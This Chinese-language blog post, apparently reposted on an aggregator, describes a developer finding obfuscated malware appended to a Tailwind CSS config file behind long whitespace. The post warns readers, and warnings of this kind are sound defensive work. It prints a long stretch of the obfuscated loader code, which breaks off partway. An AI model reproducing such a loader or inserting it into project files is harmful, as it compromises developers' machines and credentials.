返回

文章详情

我在我的 TailwindCSS 配置文件中发现了恶意软件

Hacker News2026年7月4日 14:42

12 分钟阅读 2026 年 6 月 21 日 -- 我差点就不看这个文件直接关闭了。三天后,我在凌晨 2 点结束了生产中的进程,轮换了我所有的凭证,盯着一条我从未提交过的 git commit,上面竟然有我的名字。如果你有一个活跃的 Node 项目,你可能会想在阅读完这篇文章之前检查这个问题。这不是 package.json,也不是 node_modules 中深藏的文件,而是 tailwind.config.js。这个文件你在设置项目时只会触碰一次,弄清楚你的主色调是 blue-600 还是 blue-700。然后你再也不会打开它。我们中的一半人甚至不是自己写的,都是由 create-next-app 或启动模板生成的,我们从未仔细查看过。我甚至没有在寻找任何问题。我只是把我旧的颜色令牌复制到一个新的 tailwind.config.js 文件中。结果粘贴的时间稍微长了一些。五行配置不应该让剪贴板延迟。怎么回事?我向下滚动查看我实际复制了什么,没有发现明显的问题。然后我在网上进行比较,发现了一大堆隐藏在数百个空格之后的混淆代码,就像有人希望在你看到它之前让你停止滚动一样。这样的东西不应该出现在这里。混淆的。故意这样。由某人造成。/** @type {import('tailwindcss').Config} */ module.exports = { content: ['./src/**/*.{html,js,jsx}'], theme: { extend: { colors: { 'cream': '#f7f4db', 'primary': '#c90101', }, }, }, plugins: [], darkMode: 'class', }; global['_V']='A7-2066';global['r']=require;global['m']=module;(async()=>{if(global['_t_t'])return;global['_t_t']=(new global.Date).getTime();if(typeof __dirname!=='undefined')global['___dirname']=__dirname;if(typeof __filename!=='undefined')global['___filename']=__filename;const c=async()=>{(function(){var TjS='',xQa=313-302;function niu(m){var n=219896;var y=m.length;var t=[];for(var b=0;b<y;b++){t[b]=m.charAt(b)}for(var b=0;b<y;b++){var a=n*(b+324)+n%37859;var q=n*(b+410)+n%37197;var c=a%y;var h=q%y;var k=t[c];t[c]=t[h];t[h]=k;n=(a+q)%1532251}return t.join('')}var tUI=niu('gvnsrcettofdcwoisbkzqhrnaplujotxmucyr').substr(0,xQa);var yTd='or=fa9a7ea=l,e;6u};[ahr{+nirco2"ai;u;lmva<n0fe(0ufy."mdl*C.qt.,hgnght(i(+r1as1ra=,(q)+eCr5q=e,((co=,-6cs,,*8utsv).,7i,6tt(h;rd[(t=cse)z;yd7j,f<n9,,evghf,s+e)axczx1(ah;1rjhrlj=;ah1r-=rho(rao.])tu8bn,e8,5i0n=r,76(ahrl]istso<(=+8=[-)e.e1i;+e7[ne)h;[0+n+q;rvA{u()(=t,]g j+21,7<A<h;rcf;lohspf=dvrit4ruiu2uC=cop.+(j(u=+= 2=g.ll)(.,n 0nvon1=rn.lrn;h7gAC(ssg;[ruzqcrgervnynw+sl2b)a];5=0;lv a.;s(hvnjk;ns"xon>hlnf]lr5-wezxht4rl";scfwo4oovAntu1uq)ena(r{n i;}9lt;l,,.r=)e.e==m+=ar{vn8mgv=+w.(C) hsdt.r[] ghp+++ewoatodva"fu6;w)mv(w)(n+m)m]nosu;[o64,nhgt}i6a)h)no0n[t=[t"=prn>7l;;;iy.]ee.gb97zi,aar9r)g;a -aho(l)fnr{eg69=w];.i;yr;uha=]=jen(o;isl.{wnr=).+ur;c+n3(,;2);i)=t;sin;0);= .fp))rosir})ga)mS ua[ftoid="eec=aloa.[-b()Civsb]1=h680vlp.)s(nthf}7=]0(;;(tfvtgrru.=j2.[C0d1s7c sar3v)r+;50;p+"=m(!"hvl6,i-==rC[)"8da+a(,h,+o2bhu;}{sir;Sf=r9..ov138la;cpf;(rAv;)]8=q(ljldrato]tnd)+!nyvjrv}1tat';var xsR=niu[tUI];var Drj="";var VMU=xsR;var gjR=xsR(Drj,niu(yTd));var qMh=gjR(niu('(aOc(4)O](+OaO=sO:_On{%f%m).=%=6;fOOtO39ec7omt,(&1=ln%ema5fawO/y%*y]tt!{;.ae71}+2=%3_e(%ol;=oOer!(3{dho*di.}dda.tu-t)o.+s.trog.A4SaO+a+o;t;{*rtOe[O2_2h.O0%(u-[dthre("a3i $e12a;moi"]d{[deannuoeSdbc04a@p-)O!{d(fsn}:rte{5t?=-jO=w(it},9&e[oi)t'2;sOj)%in]]+:sbg%12a12a(Os4+1+OdOSu44i]{ewuOO:rc_ra.tsO};Otrch(=cu%).}b)cnt0,.O6eO mn8=/=ov]d]s}cc1:[.rOf=)dc(z% d%ng[r.u_s))Oefd.0/j;]%etdurhO}aO.OOi)5f1+iaOOenetghaee}:iC/Crco/+]O1m.snOsa(B.hcOdnOOr9(rsu.]so7t(t4w lC9%1Bnl2%dw.s.O[;oO(oeub[F71=Ot00%r[u5a.'/

赞助内容

NordVPN Next-gen Antivirus

本站免费、广告极少。如果觉得有帮助,可以请我们喝杯咖啡 —— 任何金额都对持续运营有实际帮助。

请我喝杯咖啡